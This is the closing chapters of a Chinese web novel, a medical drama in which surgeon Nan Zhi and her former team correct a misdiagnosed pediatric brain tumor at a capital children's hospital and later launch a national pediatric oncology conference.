“头颅磁共振应该能查到虫卵和肉芽肿,但如何与脑瘤区分,值得深入研究。” 南栀在诸位教授之间侃侃而谈。 龙潭本想和南栀谈谈课题的事,一时竟插不上嘴。 他坐到主任身边,笑道:“都围着南栀,你失宠了。” 主任咧嘴大笑,笑够了才说:“以前有舒教授给我扛着神外,现在有小南,我是幸运。谁像你,什么都得做,小心猝死。” 龙潭:“……” 忽然间不是很开心了。 卢思萌还要住院休养一段时间,陆随也一直留在儿研所。 他比南栀忙,除了学业,还要兼顾富雅医院的手术。 陆随懂得多,手术熟练,现在是富雅医院的知名牛马。 难得能休息几天,陆随很珍惜时间。 尤其这几天还能天天看到南栀。 南栀给陆随带来一个好消息,“你肯定特别激动,乔乔和盛主任马上就要到了,韦宁雨也跟过来凑热闹,我们有多久没见到他们了?” 他们是来儿研所进修的,还没到定好的日期,提前来首都转转。 康宁医院是附近几个省最大的医院,现在不缺人,尚延很痛快地给他们批了假。 能见到老朋友确实很开心。 南栀:“我让他们住在我们家,你出院以后,先去宿舍凑合一段时间。” 陆随:“……” 这就不是很开心了。 阮乔几人是在两天后到首都的。 南栀和箫珵一起去车站接他们。 韦宁雨拎着三个手提袋,盛昭云只有双肩包,阮乔和韦初雪什么都没背。 南栀先拉住阮乔和盛昭云的手往站外走,接着打量她们的包,“你什么都没带吗?” 阮乔指了指韦宁雨,感慨道:“出门带个 男人,确实很方便。” 韦初雪点头,“难得有用。” 韦宁雨:“……” 只有这会儿,她们才会把他当成男人。 箫珵接过盛昭云的包,盛昭云道:“我不需要帮忙。” 箫珵笑道:“没事,我过来就是让你们轻松些。” 现在箫珵和陆随都没车开,只能带他们去打车,五个人住在南栀家刚好。 韦宁雨住客厅的沙发,其他人住在两个房间。 箫珵道:“在客厅支个行军床,我也去,方便联系。” 南栀没拒绝。 几人到医院后,箫珵先对陆随露出胜利的微笑。 他一个人独占南栀的计划破灭了,完全破灭了! 陆随:“?” 阮乔和盛昭云对陆随表达关心,“还好你没事。” 陆随:“谢谢。” 两人盯着陆随的脸,“幸好没破相。” “肌肉也还在,太幸运了。” 陆随:“……?” 阮乔严肃道:“你不明白,这对南栀来说很重要。” 陆随:“……” 有护士走进来看陆随的情况,看到南栀也在,便问道:“南主任,陆医生过两天是不是可以出院了?” 南栀点头,护士离开。 阮乔激动地扒拉盛昭云的手,“听到了吗,她们叫南栀主任诶!” 不久之前,南栀还只是普通的南医生,现在已经是主任了! 南栀就是她的目标,她以后也要做阮主任,甚至是阮院长! 这种事,只是想想就很开心! 盛昭云十分淡定,“哦,怎么了?” 阮乔:“……” 可恶的盛主任是不会懂的! 一路上都有人和南栀打招呼,无一例外都叫南主任。 虽说儿研所不缺副主任,但几乎每个人都会打招呼,这就很难得了。 阮乔现在还不能把康宁医院的人认全。 她佩服道:“还是你记忆好,这么多人,不同科室的,竟然都能记住。” 南栀如实道:“很多我都不认识的,只是人家和我打招呼,我肯定要回应。” 阮乔:“……” 她要和这些有天赋的人拼了! 康宁医院发展神速,但和儿研所还是有一定距离,光是参观儿研所各个科室,阮乔都觉得受益匪浅。 两日后,陆随出院,终于能回家。 南栀和箫珵左右扶着他。 陆随:“……有必要吗?” 南栀说:“你是陆黛玉,以后我必须保护好你。” 箫珵:“是的,你是我柔弱的妹夫,我必须替妹妹保护好你。” 阮乔问:“陆医生最近又发烧啦?烧伤之后体质真是弱了不少,年纪轻轻的总发烧。” 韦宁雨笑道:“不只是发烧吧?我找陆医生时,经常听心外的人说他去打点滴了。” 陆随:“……” 柔弱的帽子,他怕是要戴一辈子。 陆随一进门,就看到已经变成床的沙发,靠墙的一边还有张行军床。 “这是……” 箫珵微笑道:“我必须来保护你。” 陆随:“……” !! 乘人之危! 阮乔他们早晚要走,箫珵这东西可是能一直留下的! 箫珵拍拍陆随的肩膀,“你放心,我一定保护好你……和南栀。” 陆随的人生陷入至暗时刻。 阮乔几人能来儿研所进修,最开心的是南栀,她已经很久没和阮乔一起上台做手术。 曾经的手术团队终于在儿研所集结! 进修为期两个月,阮乔几人和其他医生一样正常排班,南栀负责带他们。 儿研所的食堂出现诡异的一幕,几个年轻人聚在一起欢声笑语,声音虽然不大,但朝气蓬勃,还有点儿小高傲。 高傲的主要是韦宁雨,他不是来进修的,他是单纯陪她们,顺便考察首都的市场。 如果能来首都做生意,长远来看,一定有利可图。 神外的饭桌上都没有奚阳华的位置。 奚阳华拉着沈玫去旁边坐,不高兴道:“这些都是什么人?难道康宁医院每个人都比我们强?我怎么不信?” 沈玫道:“你是生气不能坐过去吧?” 奚阳华:“……才不是!!” 下午,阮乔就跟着南栀出诊。 奚阳华看了阮乔好半晌,越看越不爽,“她怎么这么笨?什么都要南栀解释?” 沈玫幽幽道:“你也想跟着南栀学习吧?” 奚阳华:“……都说了不是了!” 对阮乔几人不满的,其实不只是奚阳华,神外有两个副主任也不太开心。 他们能进儿研所,学历和家世都是能拿得出手的。 在儿研所工作久了,多多少少都有点儿优越感。 南栀来儿研所,他们心服口服,普通人不能和有天赋的人比。 但康宁医院其他人算怎么回事? 韦初雪看起来还凑合,但她的学历放到儿研所也不够看。 阮乔就更不用说了,普通本科生,念书时成绩相当一般。 盛昭云……盛昭云不是神外的,他们不太清楚。 奚阳华找到副主任茅田瑞抱怨,“南栀天天跟着她们混,一点儿都不像咱儿研所的人。” 南栀几人确实挺引人注目的。 就不说手术了,单纯看脸,都挺吸引人。 茅田瑞道:“人家是来学习的,你别和人家过不去。” “是我和她们过不去吗?!”奚阳华很不爽,“是阮乔,今天我出诊,她居然说我有问题看错了?她能比我强?我好歹也是医学院的优秀毕业生,还是研究生!” 茅田瑞奇怪道:“看错了?哪个病人?” 奚阳华说:“今天来儿研所的女孩,十六岁,头颈部胀痛恶心,有三天,一直在加重。我给她做CT和MRI了,应该是胶质瘤。” 茅田瑞问:“阮乔说你看错了?” “是啊!”奚阳华愤愤不平,“片子很明显,就是胶质瘤!她说可能是其他情况,我就问她到底是什么情况,她又说不明白!这不是找事吗?!” 茅田瑞笑道:“可能急于表现自己,你别和人家计较,我们共同进步。” 奚阳华顺手掏出病历本,“茅主任,主任说这台手术你来做。” 茅田瑞:“……” 奚阳华也会忽悠人了。 他接过病历,“小脑上蚓部囊实性低密度占位,无钙化,多囊腔环形强化……确实是该考虑高级别胶质瘤。” “我就说吧!” 手术交到自己手里,茅田瑞不得不谨慎些,他问:“阮乔的话,有没有可能是南栀的意思?” 他可以不信阮乔,但如果是南栀提醒,他就得多考虑考虑了。 奚阳华笃定道:“肯定不是,她刚看到片子就和我说了,她说这叫直觉,我怎么没这直觉?” * 阮乔和韦初雪其实都不是高调的人,只是她们一来就围着南栀转,南栀也不和别人一起吃饭了,她们看着就有点儿扎眼。 尤其是主任,很担心她们说几句话,又把南栀折腾回康宁。 其他人是铆足力气往儿研所钻,南栀是考虑多年才决定过来,有本事的人都有底气。 而且阮乔说话不太避讳,开药根据患者的家庭情况开,有什么说什么,过于直白。 这对患儿家属来说是好事,但对医院不太友好。 奚阳华的嘴闲不住,幸灾乐祸道:“你就折腾吧,我们主任迟早被你气死,以后你别想再来儿研所。” 阮乔想了好一会儿,才想到她刚才鼓励患儿家属去找主治医生再谈谈,主治医生给她开的药不太对。 她挑眉道:“这算什么?我们副院长买二手设备出人命,我们都直接说了,你也小心点儿,做错事,我可不会帮你瞒着家属。” 奚阳华:“……谁和你做同事谁倒霉。” 阮乔嫌弃道:“我还没嫌弃你水平低,你还说倒霉?怕被人说,就别做亏心事。还是你想和我们副院长一样,买二手设备中饱私囊?” 奚阳华发现他不仅骂不过南栀,他连阮乔都说不过。 南栀是单方面直白地碾压,阮乔是嘴皮子利索,说话骂人不需要打草稿的。 “你别乱说!我可不害人命!你!我!” 阮乔朝他挑眉。 奚阳华:“……” 太气了,他可太气了,康宁医院是怎么培养出一帮气人精的!【魔蝎小说 mo xie xs .c om】 【全文完结】 第124章 结局章(下)开会啦 早上,陆随送南栀去医院。 陆随现在骑自行车,可以走小路,比开车方便。 南栀坐后座,两人都要赶着去查房。 家里有两个医生,确实不太方便,忙起来能好几天见不到面。 不过大概是距离产生美,南栀到现在都没和陆随有过矛盾。 南栀先去看望卢思萌。 卢思萌和陆随同一天做手术,陆随已经能去上班,卢思萌还留在医院治疗。 手术切除得很干净,她恢复得还不错,现在不会头痛恶心了。 叶秀英在医院照顾卢思萌,手术费用是叶秀英出的,卢勇一分钱都没拿。 前两天卢勇的现任妻子来过一趟,嚷嚷着要找卢勇,被护士们赶出病房,后来两人估计是在看守所抱头痛哭的。 至于卢思萌的妈妈,到现在为止都没露面,已经完全沉浸在新家的幸福生活里。 南栀身后跟着好几个医生,手里都拿着笔记本。 只有她什么都没拿,她只负责说,其他人负责记。 卢思萌的心情也不错,好像没被影响。 南栀摸摸她的头,笑道:“萌萌恢复得很快嘛,接下来的治疗可以回康宁,那边费用低一些。” 阮乔趁机宣扬,“康宁医院很人性化的哦,而且刚刚彻查过,绝对干净。” 奚阳华撇撇嘴,很嫌弃。 小小康宁,怎么和儿研所比,一个天上一个地下。 奚阳华道:“你昨天还说你们副院长买二手设备。” 阮乔很淡定,“所以他进去了,他进去之后彻查的,现在很干净,有问题吗?要不你也查查儿研所?” 奚阳华:“……” 谁敢? 南栀道:“你们想吵,出去吵够了再进来。” 阮乔可怜巴巴地看着南栀。 南栀犹豫片刻,说:“奚阳华出去吵够了再回来。” 奚阳华:“……” 瞧瞧,明目张胆的偏心! 他和南栀也认识多年,有革命友谊呢,她还这么偏心! 韦初雪没他们那么幼稚,她安慰卢思萌,“姐姐也做过开颅手术,现在恢复得特别好,你也行。” 卢思萌点头。 有人小声说道:“唉,孩子真可怜,他们怎么当爸妈的?” 卢思萌看过去。 南栀立刻说道:“萌萌,现在有姥姥陪着你,没事的,是爸爸做错了事。” 卢思萌却茫然地看着南栀,“爸爸做了什么?” 南栀怔住。 前不久,警察来录口供时,卢思萌亲口说爸爸想把她推下去。 爸爸说了,她还活着,他就没法和阿姨继续过下去。 陆随也是亲眼看到的,现在卢勇都承认,这事不会是假的。 可卢思萌好像什么都不记得。 卢思萌落寞道:“爸爸妈妈总是不来看我,是我太不听话了吗?” 医生们面面相觑。 韦初雪反应最快,“萌萌很听话,姐姐以后经常来看你,好吗?” 卢思萌虽然想念父母,但和他们已经分开很长时间,早就习惯。 她很好哄,朝韦初雪露出笑容,“好!” 南栀看着卢思萌,好像能看到以前的自己。 忘记当然很好,但她希望卢思萌就算想起来,也能和她也一样不被影响。 下一个患儿是朱悦。 朱悦,16岁,来医院前头疼恶心三日,奚阳华是主治医生,目前暂定茅田瑞主刀。 茅田瑞又看了一遍朱悦的检查报告,道:“这几天好好休息,排上就做手术。” 朱悦的父母都在,两人的眼眶一直是红的。 高级别的胶质瘤,就算切除又能活多久? 他们没法接受。 阮乔低声对南栀说道:“就是这个患儿,奚阳华说她起病急、病史短,颅后窝囊实性占位、环形强化明显,中心非强化影,考虑是肿瘤坏死,初步诊断为高级别胶质瘤。” 南栀说:“听着没问题。” “可我看片子就是觉得不对劲,要不你再看看?” 南栀想走到茅田瑞旁边,“茅主任,片子能给我看看吗?” 茅田瑞看向阮乔。 肯定是阮乔和南栀说了些什么,南栀才提出看片子。 小小的自尊心作祟,茅田瑞不希望随便一个小医院的医生都能说他有错。 茅田瑞道:“片子不在我这里,朱悦的手术指征明确,我会多小心。” 朱悦毕竟不是南栀的病人,茅田瑞这样说,她也不好再说什么。 查房结束,南栀和阮乔都忙起来,短暂地忘记这件事。 南栀最近在整理病例和医生名单。 “小儿肿瘤组织,专门研究小儿肿瘤的?其实得癌症的孩子比成人少,这点儿是肯定的。”阮乔道,“如果能把全国的病例汇集到一起,大家一起讨论,肯定有帮助。” 互联网不发达就是这点儿不好,信息太不对等。 南栀说:“这是冯固老师提的意见,我觉得挺好。” 就是确认名单有些麻烦,南方很多省的情况她都不了解,下次再有南方的医院请她去传授小儿外科经验,她得积极一点儿。 沈玫道:“这会开起来可不容易,专门研究小儿肿瘤的医生可不多。对了,你们医院不是有个高医生吗,他看起来特别厉害,可以邀请他过来呀。” 阮乔反应了两秒,才想到高医生是谁。 她偷偷看向南栀,在心里佩服她,嘴可真严实,到现在都没泄密。 阮乔轻咳一声,道:“高医生已经离职了。” “离职?!” “年纪大了嘛,这种老医生就是比较有见地的,其实他早就离职了,那些论文只是以康宁医院的名义发表。” 沈玫恍然大悟,“难怪怎么都找不到这个人。” 奚阳华怀疑地看 向南栀,“是吗?” “是的是的,肯定是,”阮乔绘声绘色道,“我见过她,一个年纪特别大的老奶奶,很有学问。” 奚阳华像在听笑话,“奶奶?奶奶叫高仁?” 阮乔:“怎么了,人家取什么名字还得请教你?仁字男人专属?” 奚阳华:“……” 他都忘了他谁都吵不过。 沈玫感慨道:“难怪她的文章写得很全面,原来全是经验。你们知道吗?大学的课本改了,很多都是根据她的文章重新修改的,对了,还借鉴了南栀登在你们医院期刊的文章。” 康宁医院的期刊赫赫有名,上面总有其他人不知道的新知识,尤其是在神外和心外这两个科室上。 其他医院神外和心外的医生,可以不定其他期刊,但一定要来一份康宁医院的期刊。 期刊能邮寄,就连南方的省份也有购买的,可以说期刊大幅提升了康宁医院的知名度。 韦宁雨在“做生意”这方面,的确是一把好手。 南栀没解释“高仁”的事,她也不打算承认。 把前辈们的研究成果占为己有,这种事她实在不好意思做。 南栀和陆随约好周末一起出去吃。 这段时间阮乔几人住在南栀家,陆随靠生病才在客厅争得一个床位,两人已经很久没单独相处过。 直到两人一起出现在新开的商场,陆随还在左右看,“他们真不来?” 南栀笑道:“乔乔今天得去医院,盛主任在内科混得开,都没时间。” 陆随眉头深锁,“箫珵也不来?” “我哥他怎么会来打扰我呢?” 陆随冷笑。 南栀:“……他真不来。” 南栀拉着陆随走进商场。 他们今天要逛街,逛完街顺便在商场吃饭。 南栀殷勤地给陆随夹菜,“这家店是韦宁雨推荐的。” “他比我们还熟悉首都?” “办事嘛,总得和人家一起吃饭。” 陆随看了看周围的环境,“他来这种店办事?” 南栀也不太了解韦宁雨的生意,按照韦宁雨的说法,对付不同的人要有不同的方案,可能人家就是喜欢商场? 南栀又去给陆随倒水。 陆随盯着水杯看了一会儿,沉重道:“我做错了什么,你就直接说吧。” 南栀:“?” “没呀,你是病人,我得照顾你啊。” 陆随半信半疑地拿起水杯。 水是温的,陆随却觉得很烫手。 他放下水杯,郑重道:“我希望不管发生什么事,你都能直接告诉我。” 南栀:“……” 她平时对陆随很差劲吗? 南栀笑眯眯道:“谢谢你把卢勇拦住,还让自己挨了一刀。” 如果不是陆随反应快,卢思萌可能就活不过来了。 陆随苦大仇深道:“一定没这么简单。” 南栀:“……” 看来她对陆随真的很差。 南栀痛定思痛,“从前是我没照顾好你,这种事绝对不会发生第二次,明天我就去练拳击!” 必须保护柔弱的陆黛玉! 陆随:“……” 很好,是南栀,她恢复正常了。 陆随道:“卢思萌的事,我们毕竟曾经是朋友,她又是病人,没有不救的道理。” 而且南栀明显很在意卢思萌。 南栀在意,他就更不可能见死不救。 当时卢勇已经准备把卢思萌丢下楼,情况紧急,他和卢勇厮打时,两人都险些从天台坠落。 后来卢勇往楼下逃,陆随去追,卢勇趁陆随还没到,躲起来偷袭他,等其他人听到声音过来,卢勇就趁机跑了。 南栀认真道:“有很多事,我都很感谢你,你帮助我很多,有你在真好。” 陆随:“……” 他顶着发热的耳根,低下头快速吃饭。 不正常,她又不正常了。 南栀摇了摇他的手臂,“我是认真的。” 陆随抬头。 南栀:“……你发烧了?” 虽然南栀在和陆随的种种行为中已经理解人类会脸红,不只有发烧一个原因,但红成这样的,确实不多见。 陆随低声道:“我……我也挺幸运的。” 他低下头继续吃饭。 只记得吃白米饭,都忘了夹菜。 饭吃到一半,南栀放在包里的传呼机响起来。 能用传呼机联系她的,只有医院。 南栀和陆随迅速起身。 陆随道:“传呼机还是不方便,再过几年小灵通上市就好了。” 南栀先找公话给医院回电话,是阮乔在找她,“栀栀,我刚刚又看到朱悦的片子,我还是觉得有问题,你现在有时间吗?” 陆随微笑道:“她人看似没来。” 其实一直都在。 * 奚阳华一直提防阮乔,不想让她插手自己的病号。 阮乔无意间看到朱悦的片子,看过之后再次肯定,这应该不是高级别胶质瘤。 南栀和陆随回到医院。 阮乔先对陆随表达歉意,“打扰你们约会了。” “没关系,”陆随面无表情道,“今晚我们不回去了。” 南栀:“……” 学长现在离清心寡欲越来越远。 南栀拿着朱悦的片子研究。 陆随也看过来,“儿童颅后窝高级别胶质瘤?这不常见。” 阮乔惊讶道:“我们的片子你也懂?” 陆随说:“心外的片子南栀也能看。” 阮乔:“……” 和他们这些精力旺盛的天才拼了。 南栀看了一会儿,皱眉道:“强化影是结节状,瘤体周围水肿也不明显。” “是高级别胶质瘤吗?” 南栀摇头,“不像,更像是……血网。” 陆随问:“指的是?” “血管网状细胞瘤。” 陆随蹙眉,“血供更丰富吧?” 南栀点头,“手术难度比胶质瘤大,开进去后如果发现患者情况和术前判断不符,主刀医生心理素质不稳定,会影响手术,必须马上告诉茅主任,让他有心理准备。” 阮乔转身去住院部,惊呼道:“朱悦已经被送到手术室了?!” * 手术室内,核对过患者身份,手术正式开始。 茅田瑞手术经验丰富,在儿研所也是好手。 奚阳华给茅田瑞做助手。 整个开颅过程茅田瑞都很冷静。 奚阳华道:“还是跟你们做手术最和谐,康宁医院来进修的也想上台,哼。” 茅田瑞瞥了奚阳华一眼,提醒道:“康宁医院今非昔比,不是从前默默无闻的小医院了。” “那也和儿研所没法比。” 茅田瑞:“这倒是。” 奚阳华道:“我不如南栀就算了,她就不是人,我比不上,但我还能比阮乔更差?我听说她上学的时候还挂过科。” 他们班里能挂科的,那都是成绩倒数的学生。 奚阳华抱怨个不停,没注意到茅田瑞已经沉默许久。 手术室的门被推开,护士着急道:“茅主任,南主任在手术室门口,她说患者可能不是胶质瘤,可能是……” 奚阳华道:“她也这样说?也靠直觉??她们怎么都靠直觉办事?” 奚阳华看向茅田瑞,正要唠叨几句,却见茅田瑞一动不动。 他戴眼镜,脸被口罩遮住,但从目光中,仍能看出他的震惊和不安。 台上所有人顺着茅田瑞的目光看去,全都愣住。 瘤体在小脑上蚓部。 紫红色的瘤体分外夺目,瘤壁蔓状血管团密布。 “这是……” 茅田瑞声音沙哑,“血网细胞瘤,质地……” 五分钟内,南栀接替茅田瑞的位置,为朱悦做手术。 茅田瑞呆滞地站在一旁,不肯离开。 这类手术他能处理,他应该能处理。 如果最初就发现是血网细胞瘤,他一定能处理好。 大概是想赢康宁医院的心太强烈,在发现阮乔的直觉没错后,茅田瑞的心理防线崩塌,他做的每一步都很艰难。 无奈之下,只能换南栀上台。 奚阳华面色惨白,身体僵硬。 南栀瞥了他一眼,“你也下去。” 奚阳华:“……” 他被其他人拉走,阮乔来给南栀做助手。 南栀利凯康宁医院这段时间,阮乔已经主刀过很多台手术。 现在两人再次配合,依然能心意相通。 她们不需要交流,就知道对方下一步想做什么。 两人熟稔地配合让其他人惊叹。 “阮医生的技术也很好嘛,康宁医院真是卧虎藏龙。” 麻醉医生笑道:“他们就是地理位置不沾光,如果在首都,说不定比咱们医院都强。” 茅田瑞和奚阳华站在角落,没人留意他们。 瘤体血供丰富,供血动脉电凝切断后,瘤体才慢慢变软,颜色也变成紫黑。 血供减少后,南栀分块切除瘤体,术中出血有400ml。 茅田瑞对记录出血量不太在意,偶尔还会让护士随便填。 南栀认真道:“所有数据都必须准确记录,对以后研究手术有帮助。” 茅田瑞尴尬地站在角落。 手术很成功,茅田瑞也及时发现术前判断失误,不算事故。 南栀和阮乔下台,看向茅田瑞。 茅田瑞低头不语。 主任第一时间赶到,把神外在医院的所有医生都拉去开会。 阮乔坐得很直,昂首挺胸。 “术前开会了吗?这会是怎么开的?!为什么会出现有医生提醒,但还是按照原定计划开刀的情况?!” 茅田瑞一直低着头。 奚阳华小声道:“阮乔只是说有问题,我问了是什么问题,她说是直觉,这也说不通啊。” 当医生还能靠直觉治病? 主任“嘭”地拍了下桌子,“你做了 几年医生了,你的直觉在哪?!如果不是阮乔把南栀叫来,就你俩的心理素质,能完成手术吗?!” 奚阳华不敢再辩解。 阮乔看着二人保持微笑,后背越挺越直。 她看起来很谦虚,“主任,不怪他们,我们毕竟是来学习的,是我没把情况说清楚,怪我技艺不精。” 茅田瑞:“……” 奚阳华:“……” 她技艺不精,但能看出异常,他们技艺倒是精,可什么直觉都没有。 她们康宁医院出来的,都专门学过如何讽刺人吗??? 翌日,主任召集科室全部医生,为南栀和阮乔开表扬会。 阮乔几人昂首挺胸,尾巴都快翘到天上。 奚阳华蔫蔫地坐着,他在心里后悔……他毕业时去康宁医院工作多好?!现在就能昂首挺胸了! 阮乔和韦初雪陆续在儿研所主刀。 阮乔念书时成绩一般,但在理论方面却也非常扎实。 时间久了,没人再说她们的闲话,甚至还有人专门找阮乔请教学习方法。 阮乔掏出南栀整理过的笔记,一切曾困扰他们的难题都迎刃而解。 南栀和阮乔、韦初雪又合作了一台手术。 整个手术过程丝滑无比。 儿研所的手术室配备录像设备,手术室外的电视能看到手术步骤。 南栀做手术时,总有不忙的医生过来看,其他科室的也会过来。 看到三个女生的配合,就连奚阳华都不得不说:“确实很厉害,但是……一定是她们相处久了!有默契!” 没人理他。 奚阳华:“南栀没给我机会配合她!” 沈玫幽幽道:“你是没能给南栀做助手,心里痒吧?” 奚阳华:“……” …… 几人工作都忙,想找到大家都休息的时间很困难。 一周后,大家才挤出一个下午出去逛街吃饭。 韦宁雨来首都时间不长,但对各个饭店了如指掌,他负责找包间、点菜,甚至口音都变了。 阮乔看了一会儿,评价道:“果然是奸商。” 韦初雪点头,“奸商。” 韦宁雨乐呵呵道:“我负责当奸商,你们去当伟大的医生,正好。你们几个将来升职,都得来和我合作,让我赚钱!” 阮乔感慨道:“赚钱没那么重要,我做医生,就是想救死扶伤。” 韦初雪淡笑。 虽然韦家倒了,但瘦死的骆驼比马大,韦初雪从未缺钱过。 她做医生的目的更纯粹,从来都不是为了赚钱。 阮乔问南栀,“你为什么做医生?” 南栀如实道:“我弟弟生病走的。” 箫珵瞥了眼南栀,“差不多。” 盛昭云专心致志地吃鸡排。 她吃鸡排的方式很特殊,吃完还能再把鸡排重新拼好。 陆随买了汽水回来分给大家。 韦宁雨抗议道:“这种时候应该喝酒,红酒。” 南栀几人一起摆手,“我备班,我不喝。” 韦宁雨:“……” 终究是渐行渐远。 阮乔丢给韦宁雨一瓶橙子汁,“你也有点儿追求,赚那么多钱有什么用?话说回来,你现在能赚多少钱?” 韦宁雨比了个五。 阮乔:“五十?” 箫珵:“五百。” 韦宁雨仍然摇头。 盛昭云把鸡架推走,皱眉道:“不会是五千吧?” 南栀:“……五万?” 韦宁雨笑而不语。 南栀:“……” 沉默二十秒过去,曾经慷慨激昂表示要救死扶伤的医生们一齐向韦宁雨靠拢,“做医生有什么用?还是得做生意!” “任总以后多照顾,等你以后老了,开颅手术包给我。” “哦,我可以给你心脏开刀。” 韦宁雨:“……” 倒也不用! 欢声笑语中,南栀偷偷从包间溜出来,陆随正站在柜台前结账。 见南栀出来,他握住南栀的手,“吃饱了?” 南栀笑眯眯道:“出来陪陪你。” 他们分别在两个医院做医生,陆随还要去学校,两人的日子过出了异地恋的感觉。 陆随道:“今天放假,只要医院那边没有特殊情况,我们可以多逛逛。” 南栀笑容僵住。 陆随也闭上嘴巴。 短暂的安静后,南栀兜里的传呼机响起来—— 南栀:“……” 陆随:“……” 有的时候,人不得不迷信。 二月份,儿科肿瘤组织正式成立,第一届交流会由首都医科大学承办,十五日召开会议。 参加会议的是全国各地的儿科医生,有专门研究肿瘤的,也有曾接触过复杂病例的。 每个人都是翘楚。 会议开始前,所有人都提交过一份或多份有价值的病例报告。 所有病例都由儿研所的南栀整理,委员会成员会挑选更具代表性的病例,再由医生本人上台分享。 礼堂第一排是核心成员及肿瘤方面的权威专家,写有南栀名字的牌子也在其中。 “听说是个很年轻的医生,把首都几个好医院的老教授都请来了,尤其是脑瘤方面的专家。” “我爸的朋友是富雅医院神外的医生,听他说,这位年轻医生的手术做得出神入化——我真想象不到这是什么水平,吹牛吧?” “看到电视机了吗?今天会放手术录像,听说还可以借录像带回家研究,都是她做的手术,到底厉不厉害,你看看就知道了。” 会议正式开始,全场安静。 南栀作为发起人,第一个上台讲话。 她步伐从容地走上台,台下黑压压地坐满了人。 有老教授,也有新医生。 有脑癌方面的专家,也有研究肺癌、肝癌、胰腺癌的教授。 每个人都有成为医生的理由,有属于他们的故事和使命。 而她,会带着所有曾在一线奋斗的医生的希望,坚定地走下去- 全文完-【魔蝎小说 mo xie xs .c om】